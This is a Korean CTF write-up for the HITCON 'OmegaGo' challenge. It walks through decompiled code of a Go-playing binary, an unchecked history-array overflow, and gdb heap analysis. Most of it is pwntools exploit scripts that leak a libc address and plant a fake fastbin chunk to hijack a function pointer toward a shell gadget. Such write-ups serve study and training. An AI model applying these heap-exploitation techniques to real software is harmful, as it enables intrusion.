Excuse the ads! We need some help to keep our site up.
Want to fight with AlphaGo? Beat OmegaGo first.
|
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.3 LTS Release: 16.04 Codename: xenial lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ |
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ checksec.sh --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ |
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 A19 ABCDEFGHIJKLMNOPQRS 19 X.................. 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ..................O Time remain: O: 180.00, X: 173.38 regret ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 surrender This AI is too strong, ah? Play history? (y/n) y ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... piece O play at J10 Time remain: O: 180.00, X: 180.00 Play again? (y/n) y ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 |
struct __attribute__((aligned(8))) Method { void (__fastcall **Play)(Method *a, GameInfo *state, signed int player_number, uint32_t *row, uint32_t *col); _QWORD empty; }; |
struct GameInfo { _QWORD board[12]; _DWORD rowNumber; _DWORD colNumber; _QWORD player; double playTimeForAI; double playTimeForHuman; }; |
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 result; // rax@3 __int64 v4; // rbx@3 __int64 v5; // [rsp+8h] [rbp-18h]@1 v5 = *MK_FP(__FS__, 40LL); alarm(0xB4u); setvbuf(stdout, 0LL, 2, 0LL); while (MainFunction()); result = 0LL; v4 = *MK_FP(__FS__, 40LL) ^ v5; return result; } |
setDefGameinfo() 함수를 통해 게임 진행시 필요한 변수의 초기화를 선언합니다.
"operator new(8uLL)" 코드를 이용하여 AI, HUMAN 변수에 Heap 영역(8byte)을 할당합니다.
setAIFunction(), setHUMANFunction() 함수를 이용해 할당 받은 영역에 호출할 함수의 주소를 저장합니다.
while()을 통해 게임을 플레이하기 위한 기능을 실행합니다.
gettimeofday() 함수를 이용하여 플레이어의 게임 플레이 시간을 계산합니다.
rowNumber, colNumber 의 값이 -1과 같다면 게임을 종료합니다.
__int64 OmegaGo() { Method *AI; // rbx Method *HUMAN; // rbx unsigned int rowNumber; // [rsp+Ch] [rbp-64h] unsigned int colNumber; // [rsp+10h] [rbp-60h] int playerNum; // [rsp+14h] [rbp-5Ch] double playTime; // [rsp+18h] [rbp-58h] struct timeval startTime; // [rsp+20h] [rbp-50h] struct timeval endTime; // [rsp+30h] [rbp-40h] Method *player[2]; // [rsp+40h] [rbp-30h] unsigned __int64 v10; // [rsp+58h] [rbp-18h] v10 = __readfsqword(0x28u); setDefGameinfo(); playerNum = 1; AI = (Method *)operator new(8uLL); AI->Play = 0LL; setAIFunction(AI); player[0] = AI; HUMAN = (Method *)operator new(8uLL); HUMAN->Play = 0LL; setHUMANFunction(HUMAN); player[1] = HUMAN; while ( !((unsigned __int8)sub_401202(playerNum, &gPlayerGameInfo) ^ 1) ) { gettimeofday(&startTime, 0LL); (*player[playerNum - 1]->Play)(player[playerNum - 1], &gPlayerGameInfo, playerNum, &rowNumber, &colNumber); gettimeofday(&endTime, 0LL); playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0 + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec)); if ( rowNumber == -1 || colNumber == -1 ) break; if ( rowNumber != -2 && colNumber != -2 ) { *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] = *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] - playTime; if ( *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] < 0.0 ) print("Time's up"); SetMarkForBoard(&gPlayerGameInfo, rowNumber, colNumber, playerNum, 0); playerNum ^= 3u; } else if ( (unsigned __int8)regret() ^ 1 ) { print("No you cant't"); } } CheckResults(); PlayHistory(); return PlayAgain(); } |
해당 함수는 다음과 같은 기능을 합니다.
callPrintBoard() 함수에 의해 Borad가 출력됩니다.
scanf() 함수를 이용해 사용자로 부터 좌표 값 또는 명령어를 입력 받습니다.
특이한 부분은 다음과 같습니다.
입력 받은 내용을 gCmd(0x60943C) 전역 변수에 저장
10개의 문자를 입력 받지만 sscanf()함수에 의해 1개의 문자,1개의 숫자값을 사용
입력 받은 명령어에 따라 다음과 같이 값을 설정합니다.
surrender : col = -1, row = -1
regret : col = -2, row = -2
unsigned __int64 __fastcall UserInput(__int64 a1, GameInfo *gameInfo, __int64 playerNum, signed int *row, signed int *col) { bool areaOverflow; // al char chCol; // [rsp+37h] [rbp-9h] unsigned __int64 v10; // [rsp+38h] [rbp-8h] v10 = __readfsqword(0x28u); callPrintBoard(gameInfo); memset(gCmd, 0, 0xCuLL); if ( scanf("%10s", gCmd) != 1 ) print("Er?"); if ( !strcmp("surrender", gCmd) ) { *col = -1; *row = *col; } else if ( !strcmp("regret", gCmd) ) { *col = -2; *row = *col; } else { if ( sscanf(gCmd, "%c%d", &chCol, row) != 2 ) print("Input like 'A19'"); *col = chCol - 65; *row = 19 - *row; areaOverflow = (unsigned __int8)checkBoardArea(*row) ^ 1 || (unsigned __int8)checkBoardArea(*col) ^ 1; if ( areaOverflow ) print("No overflow plz."); } return __readfsqword(0x28u) ^ v10; } |
해당 함수는 다음과 같은 기능을 합니다.
player 변수의 값을 이용해 플레이어의 마크를 결정합니다.
saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.
각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.
CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...
입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.
입력한 위치 값이 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.
"operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.
할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.
즉, 사용자가 입력한 좌표 값이 Heap 영역에 저장됩니다.
취약성은 여기서 발생합니다.
GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.
gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.
유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 전역 변수에 Heap address가 Overflow됩니다.
즉, 사용자가 입력한 위치 값에 의해 Heap address를 변경 할 수 있습니다.
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt) { signed __int64 result; // rax signed int mark; // eax MAPDST bool v7; // al GameInfo *historyCount; // rax GameInfo *saveGameInfo; // ST30_8 signed int i; // [rsp+24h] [rbp-2Ch] unsigned int row; // [rsp+28h] [rbp-28h] unsigned int col; // [rsp+2Ch] [rbp-24h] if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' ) { if ( player == 1 ) mark = 'O'; else mark = 'X'; saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark); gameinfo->rowNumber = inputRow; gameinfo->colNumber = inputCol; for ( i = 0; i <= 3; ++i ) { row = dword_404FE0[i] + inputRow; col = dword_404FF0[i] + inputCol; v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1; if ( !v7 && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark && (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 ) { sub_4024C2((__int64)gameinfo, row, col); } } if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 ) { if ( !printOpt ) print("Why you do this :(("); result = 0LL; } else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) ) { if ( !printOpt ) print("Wanna Ko Fight?"); result = 0LL; } else { if ( printOpt != 1 ) { LODWORD(gameinfo->player) = mark; historyCount = (GameInfo *)operator new(0x80uLL); *historyCount = *gameinfo; saveGameInfo = historyCount; LODWORD(historyCount) = gHistoryCount++; gHistory[(signed int)historyCount] = saveGameInfo; } result = 1LL; } } else { if ( !printOpt ) print("You cheater!"); result = 0LL; } return result; } |
해당 함수는 다음과 같은 기능을 합니다.
historyCnt변수의 값이 0 일 경우 해당 함수는 종료됩니다.
historyCnt변수의 값이 0 아닐 경우 다음과 같은 코드를 실행합니다.
DeletePlayHistory() 함수를 이용해 gHistory[] 에 맨 마지막에 플레이한 GameInfo를 삭제 합니다.
AI, Human의 플레이 기록을 삭제합니다.
AI가 마지막에 플레이한 GameInfo를 추출해 gPlayerGameInfo에 저장합니다.
여기서도 악용 할 수 있는 코드가 있습니다.
앞에서 설명한 취약성에 의해 gPlayerGameInfo 전역 변수(gHistory[365]) 에 Heap address가 Overflow됩니다.
사용자 입력 값을 이용해 gPlayerGameInfo 전역 변수(gHistory[365])에 저장된 Heap address를 변경합니다.
gHistory[365] : 변경된 Heap address
gHistory[366] : Heap address
gHistory[367] : Heap address
signed __int64 __cdecl regret() { GameInfo *history; // rax if ( historyCnt <= 1 ) return 0LL; DeletePlayHistory(); // AI play history DeletePlayHistory(); // Human play history if ( ::gHistory[historyCnt - 1] ) { history = (GameInfo *)::gHistory[historyCnt - 1]; gPlayerGameInfo.board[0] = history->board[0]; gPlayerGameInfo.board[1] = history->board[1]; gPlayerGameInfo.board[2] = history->board[2]; gPlayerGameInfo.board[3] = history->board[3]; gPlayerGameInfo.board[4] = history->board[4]; gPlayerGameInfo.board[5] = history->board[5]; gPlayerGameInfo.board[6] = history->board[6]; gPlayerGameInfo.board[7] = history->board[7]; gPlayerGameInfo.board[8] = history->board[8]; gPlayerGameInfo.board[9] = history->board[9]; gPlayerGameInfo.board[10] = history->board[10]; gPlayerGameInfo.board[11] = history->board[11]; *(_QWORD *)&gPlayerGameInfo.rowNumber = *(_QWORD *)&history->rowNumber; gPlayerGameInfo.player = history->player; gPlayerGameInfo.playTimeFor[0] = history->playTimeFor[0]; gPlayerGameInfo.playTimeFor[1] = history->playTimeFor[1]; } return 1LL; } |
unsigned __int64 DeletePlayHistory() { __int64 v1; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( gHistory[historyCnt - 1] ) { v1 = sub_401EB6((GameInfo *)gHistory[historyCnt - 1]); operator delete(gHistory[historyCnt - 1]); sub_402FE6(&unk_607220, &v1); --historyCnt; } return __readfsqword(0x28u) ^ v2; } |
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) p.interactive() |
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 3491 Attaching to process 3491 gdb-peda$ x/gx 0x609FC0 0x609fc0: 0x0000000000b94da0 gdb-peda$ x/10gx 0x609FC0 0x609fc0: 0x0000000000b94da0 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0x609ff0: 0x5554000155555555 0x0000000000000055 0x60a000: 0x0000000000000000 0x0000000000000000 |
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py [!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead [+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491 [*] Switching to interactive mode ABCDEFGHIJKLMNOPQRS 19 ..XXO\x00.OOX\x00X....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 XXXXXXXXXXX........ 11 XXXXXXXXXXXXXXXXXXX 10 .........O......... 9 OOOOOOOOOOOOOOOOOOO 8 ........OOOOOOOOOOO 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 179.84 $ |
유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.
컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega* Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ...Print board... Time remain: O: 180.00, X: 180.00 A19 ...Print board... Time remain: O: 180.00, X: 171.04 ^C Program received signal SIGINT, Interrupt. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000000000000002 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000010000 gdb-peda$ |
사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.
유저가 입력한 값은 0x2aaaaaaaaa 입니다.
컴퓨터가 입력한 값은 0x01555555555 입니다.
ABCDEFGHIJKLMNOPQRS 19 XXXXXXXXXXXXXXXXXXX 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 OOOOOOOOOOOOOOOOOOO Time remain: O: 180.00, X: 141.02 ^C Program received signal SIGINT, Interrupt. 0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000002aaaaaaaaa 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x5555500000000000 0x0000000000015555 gdb-peda$ |
|
def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result |
|
|
|
|
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega* Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ABCDEFGHIJKLMNOPQRS ...Print board... Time remain: O: 180.00, X: 180.00 A19 ABCDEFGHIJKLMNOPQRS ...Print board... Time remain: O: 180.00, X: 176.49 ^C Program received signal SIGINT, Interrupt. gdb-peda$ x/4gx 0x609460 0x609460: 0x000000000061cc90 0x000000000061d160 0x609470: 0x000000000061d220 0x0000000000000000 gdb-peda$ x/4gx 0x000000000061d160 - 0x10 0x61d150: 0xb3c74b70123a5ec4 0x0000000000000091 0x61d160: 0x0000000000000002 0x0000000000000000 gdb-peda$ x/4gx 0x000000000061d220 - 0x10 0x61d210: 0x91f146e6557b6e4a 0x0000000000000091 0x61d220: 0x0000000000000002 0x0000000000000000 gdb-peda$ x/4gx 0x61d1e0 0x61d1e0: 0xf90d94745f8a1984 0x0000000000000031 0x61d1f0: 0xeeda74e900000001 0x0000000000607228 gdb-peda$ |
AI GameInfo(0x61d220) 영역이 해제되면 해당 영역이 Top chunk가 됩니다.
gdb-peda$ b *0x4015CE Breakpoint 1 at 0x4015ce gdb-peda$ c Continuing. regret Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ i r rdi rdi 0x61d220 0x61d220 gdb-peda$ p main_arena.top $1 = (mchunkptr) 0x61d210 gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ i r rdi rdi 0x61d160 0x61d160 gdb-peda$ ni gdb-peda$ p main_arena.bins[0] $2 = (mchunkptr) 0x61d150 gdb-peda$ p main_arena.bins[1] $3 = (mchunkptr) 0x61d150 gdb-peda$ gdb-peda$ x/4gx 0x61d150 0x61d150: 0xb3c74b70123a5ec4 0x0000000000000091 0x61d160: 0x00007ffff7839b78 0x00007ffff7839b78 gdb-peda$ |
lazenca0x0@ubuntu:~$ gdb -p 4425 gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000001c88e30 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 gdb-peda$ b *0x4015CE Breakpoint 1 at 0x4015ce gdb-peda$ c Continuing. Input "D19" gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000001c88eb0 0x0000000001c88ef0 0x609fd0: 0x0000000001c88fb0 0x0000000000000000 gdb-peda$ p/x 0x1c88e30 + 0x80 $1 = 0x1c88eb0 gdb-peda$ |
gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ ni gdb-peda$ x/4gx 0x1c88ef0 - 0x10 0x1c88ee0: 0x33bb5de964b6f848 0x0000000000000091 0x1c88ef0: 0x00007f4b7d233b78 0x00007f4b7d233b78 gdb-peda$ p/x 0x1c88ef0 - 0x1c88eb0 $2 = 0x40 gdb-peda$ c Continuing. ^C Program received signal SIGINT, Interrupt. 0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000031 0x609fd0: 0x0000000001c88f70 0x0000000001c83880 0x609fe0: 0x0000000000000000 0x0000000000000000 0x609ff0: 0x33bb5de964b6f848 0x0000000000000091 0x60a000: 0x00007f4b7d233b78 0x00007f4b7d233b78 0x60a010: 0x0000000000000000 0x0000000000000000 gdb-peda$ |
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) #print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)' return result def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3be7b8 log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) p.interactive() |
... AI = (Method *)operator new(8uLL); AI->Play = 0LL; setAIFunction(AI); player[0] = AI; HUMAN = (Method *)operator new(8uLL); HUMAN->Play = 0LL; setHUMANFunction(HUMAN); ... |
|
... #Memory reconstruction surrender() surrender() surrender() surrender() surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #Fake Chunk Play('D14') Play('R8') Fill('A','I',10) p.interactive() |
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py [!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead [+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 7625 [*] Libc Address : 0x7ff0339f6b78 [*] Libc Base Address : 0x7ff033632000 [*] execve bash Address : 0x7ff0337186bd [*] Switching to interactive mode ABCDEFGHIJKLMNOPQRS 19 ..O...XO.\x00XX....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ...X............... 13 ................... 12 .O................. 11 XXXXXXXXXXXXXXXXXXX 10 XXXXXXXXXOOOOOOOOOO 9 OOOOOOOOOOOOOOOOOOO 8 .................X. 7 ................... 6 ...............O... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 179.85 $ |
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 7625 Attaching to process 7625 Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done. Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done. Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done. done. Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done. done. Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done. done. 0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000000ac6010 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000020 gdb-peda$ x/20gx 0x0000000000ac6010 0xac6010: 0x0000000000000000 0x0000000000000000 0xac6020: 0x0000000000000000 0x0000000000000020 0xac6030: 0xaaaa000000001000 0x555555aaaaaaaaaa 0xac6040: 0x0000000155555555 0x0000000000000020 0xac6050: 0x0000000000001000 0x0000000000000000 0xac6060: 0x0000000000000000 0x0000000000000000 0xac6070: 0x0000000a00000009 0x500001000000004f 0xac6080: 0x40667febca5375c7 0x40667b29ac365450 0xac6090: 0x0000000000000000 0x000000000000df71 0xac60a0: 0x0000000000000000 0x0000000000000000 gdb-peda$ c Continuing. |
다음과 같이 gPlayerGameInfo 전역 변수에 저장된 Heap address(0xac6010)를 변경되었습니다.
위치 값으로 변경 가능한 Heap address의 bit 영역은 다음과 같습니다.
1010 1100 0110 0000 0001 0000
다음과 같이 값을 변경합니다.
1010 1100 0110 0010 1001 0000
위치 값 : D19, E19
사용자가 입력한 값 D19, E19에 의해 gPlayerGameInfo.board[0]에 저장된 값이 0xac6290 으로 변경되었습니다.
$ D19 ABCDEFGHIJKLMNOPQRS 19 ..OX..OX.XXX....... ... Time remain: O: 180.00, X: 154.17 $ E19 ABCDEFGHIJKLMNOPQRS 19 ..OXX.OX.XXX....... ... Time remain: O: 180.00, X: 151.96 $ |
^C Program received signal SIGINT, Interrupt. 0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000000ac6290 0x0000000000ac60d0 0x609fd0: 0x0000000000ac6190 0x0000000000ac6250 gdb-peda$ x/20gx 0x0000000000ac6290 - 0x10 0xac6280: 0x0000000155555555 0x0000000000000020 0xac6290: 0x0000000000001000 0x0000000000000000 0xac62a0: 0x0000000000000000 0x0000000000000400 0xac62b0: 0x0000000400000000 0x5000010000000058 0xac62c0: 0x40667febb1290256 0x4060b9413db7f173 0xac62d0: 0xb02c3b6be73a708c 0x0000000000000031 0xac62e0: 0xc6d1f75f00000000 0x0000000000abbc90 0xac62f0: 0x0000000000000000 0x0000000000000000 0xac6300: 0x6c0eb26d35c354ca 0x0000000000000091 0xac6310: 0x0000000000ac6290 0x0000000000ac60d0 gdb-peda$ |
gdb-peda$ b *0x401761 Breakpoint 1 at 0x401761 gdb-peda$ c Continuing. |
"surrender" 를 입력하고 게임을 재시작하면 다음과 같이 Heap 영역이 변경됩니다.
변경된 heap address에 의해 Fake chunk는 fastbins에 추가 되었습니다.
$ surrender This AI is too strong, ah? Play history? (y/n) $ n Play again? (y/n) $ y ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 $ |
Breakpoint 1, 0x0000000000401761 in ?? () gdb-peda$ p main_arena.fastbinsY $1 = {0xac6280, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} gdb-peda$ ni 0x0000000000401766 in ?? () gdb-peda$ i r rax rax 0xac6290 0xac6290 gdb-peda$ p main_arena.fastbinsY $2 = {0x0, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} gdb-peda$ x/4gx 0xac6290 0xac6290: 0x0000000000000000 0x0000000000000000 0xac62a0: 0x0000000000000000 0x0000000000000400 gdb-peda$ c Continuing. ^C Program received signal SIGINT, Interrupt. 0x00007ff033729230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/4gx 0xac6290 0xac6290: 0x0000000000405040 0x0000000000000000 0xac62a0: 0x0000000000000000 0x0000000000000400 gdb-peda$ x/gx 0x0000000000405040 0x405040: 0x000000000040290a gdb-peda$ x/10i 0x000000000040290a 0x40290a: push rbp 0x40290b: mov rbp,rsp 0x40290e: sub rsp,0x150 0x402915: mov QWORD PTR [rbp-0x128],rdi 0x40291c: mov QWORD PTR [rbp-0x130],rsi 0x402923: mov DWORD PTR [rbp-0x134],edx 0x402929: mov QWORD PTR [rbp-0x140],rcx 0x402930: mov QWORD PTR [rbp-0x148],r8 0x402937: mov rax,QWORD PTR fs:0x28 0x402940: mov QWORD PTR [rbp-0x8],rax gdb-peda$ |
#0xXXXX010 -> 0xxxxx290 Play('D19') Play('E19') surrender() |
Q6 ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 .................XO 14 ..OXX.X............ 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ............O.OOX.. 5 XO................. 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 162.59 gdb-peda$ x/20gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000000 0x609fd0: 0x1800000000000000 0x00000000000008a4 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000609440 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 0x60a020: 0x0000000200000005 0x000000000000004f 0x60a030: 0x40667fffaa044ae6 0x406452c1871e6cd3 0x60a040: 0x0000000000000000 0x0000000000000000 0x60a050: 0x0000000000000000 0x0000000000000000 gdb-peda$ |
